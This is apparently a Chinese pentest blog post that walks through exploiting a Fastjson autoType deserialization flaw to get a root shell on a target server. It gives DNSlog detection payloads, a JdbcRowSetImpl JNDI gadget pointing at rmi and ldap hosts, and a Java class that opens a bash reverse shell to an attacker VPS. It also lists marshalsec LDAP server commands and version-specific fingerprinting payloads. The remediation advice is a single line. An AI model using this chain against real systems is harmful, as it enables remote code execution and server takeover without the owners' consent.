Fastjson反序列化漏洞复现(实战案例)
漏洞介绍
FastJson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
通俗理解就是：漏洞利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大影响。
前言
以下为有授权测试，未经授权，千万不要触碰法律。
拿到项目后找到了一个后台登录的页面，然后尝试弱口令（yyds）无果
抓包尝试是否存在注入，这里看到是json请求，就尝试去构造或者破坏原有的json请求，从返回的数据包中可以看到有fastjson字样，如果没有报错回显，就使用dnslog进行验证（后面会说到）。
尝试是否存在fastjson反序列化漏洞，构造以下payload看到了版本信息：
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
网上查了一下此版本存在漏洞
使用dnslog验证
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn/zcc",
"autoCommit":true
}
}
验证成功，说明存在漏洞，这里也可以用到bp的插件，fastjson scan 一键检测，傻瓜操作，github自行搜索一下
反弹shell
使用工具：GitHub - mbechler/marshalsec
vps下载完成后进入目录下进行编译
mvn clean package -DskipTests
（第一次自己进行编译，这个过程中遇到了很多问题，就不一一细说了，如果遇到问题的小伙伴多看报错信息，或者私信我也可以）大佬无视。
编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar
新开一个窗口监听端口
root目录下新建一个test.java文件，里面写入EXP源代码
// bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 这里的ip是vps，以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac编译生成test.class文件
再新建一个窗口，启动http服务
python3 -m http.server 8445
本地访问一下，可以看到生成的class文件
vps启动LDAP服务，监听1389端口，并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389
返回burp构造payload反弹shell，可以看到已经是root权限
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vps:9999/xxx",
"autoCommit":true
}
}
fastjson指纹信息
A.抓包改为POST方式，花括号不闭合，返回包就会出现fastjson字样，不过这个可以屏蔽，就用其他办法
B.利用dnslog盲打
1. 利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
2. 利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
3. 利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
4. 其他变形
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog”}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
修复建议
升级到官方最新版本！